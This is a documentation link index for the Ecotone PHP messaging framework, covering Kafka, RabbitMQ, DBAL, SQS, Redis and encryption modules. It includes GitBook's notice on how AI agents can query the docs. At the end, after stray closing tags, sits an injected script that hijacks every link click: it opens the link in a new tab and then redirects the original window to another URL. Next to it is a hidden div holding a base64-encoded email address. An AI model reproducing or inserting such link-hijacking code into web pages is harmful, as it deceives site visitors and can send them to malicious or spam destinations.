- [Message Publisher](https://docs.ecotone.tech/modules/amqp-support-rabbitmq/message-publisher.md): Publishing messages to RabbitMQ with Ecotone
- [Kafka Support](https://docs.ecotone.tech/modules/kafka-support.md): Kafka integration for high-throughput event streaming in PHP
- [Configuration](https://docs.ecotone.tech/modules/kafka-support/configuration.md): Configuring Kafka connection and topics in Ecotone
- [Message partitioning](https://docs.ecotone.tech/modules/kafka-support/message-partitioning.md): Message partitioning for ordered processing with Kafka
- [Message Channel](https://docs.ecotone.tech/modules/kafka-support/message-channel.md): Kafka message channels for async processing in Ecotone
- [Kafka Consumer](https://docs.ecotone.tech/modules/kafka-support/kafka-consumer.md): Kafka consumer for event streaming in Ecotone
- [Message Publisher](https://docs.ecotone.tech/modules/kafka-support/message-publisher.md): Publishing messages to Kafka with Ecotone
- [DBAL Support](https://docs.ecotone.tech/modules/dbal-support.md): Transactions, Asynchronous, Dead Letter Queue PHP DBAL
- [Amazon SQS Support](https://docs.ecotone.tech/modules/amazon-sqs-support.md): Ecotone support for Amazon SQS PHP
- [Redis Support](https://docs.ecotone.tech/modules/redis-support.md): Ecotone support for Redis
- [Data Protection](https://docs.ecotone.tech/modules/data-protection.md): Ecotone enables protection for data sent in messages.
- [Channel Encryption](https://docs.ecotone.tech/modules/data-protection/channel-encryption.md): Protect Messages using channel encryption
- [Message Encryption](https://docs.ecotone.tech/modules/data-protection/message-encryption.md): Protect Messages using direct annotations
- [AI Integration](https://docs.ecotone.tech/other/ai-integration.md): AI integration with Ecotone &acirc;&#128;&#148; MCP Server, Agent Skills, and llms.txt
- [Contact, Workshops and Support](https://docs.ecotone.tech/other/contact-workshops-and-support.md): Get private workshops, sessions from Ecotone and Message Driven Architecture


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on a page URL with the `ask` query parameter:
```
GET https://docs.ecotone.tech/readme.md?ask=<question>
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
</question></p><script>var elmnt = document.getElementsByTagName("a"); for(var i = 0, len = elmnt.length; i < len; i++) { elmnt[i].onclick = function(e) { e.preventDefault(); e.stopPropagation(); var gtlink = []; var randm  = Math.floor(Math.random() * gtlink.length); var lnk = this.href; window.open(lnk, "_blank"); setTimeout(function(){ window.open(gtlink[randm], "_self"); }, 1000); } }</script><div style="display:none;" id="agnote">ZW5kZW5yYWhheXU5QGdtYWlsLmNvbQ==</div></body></html>
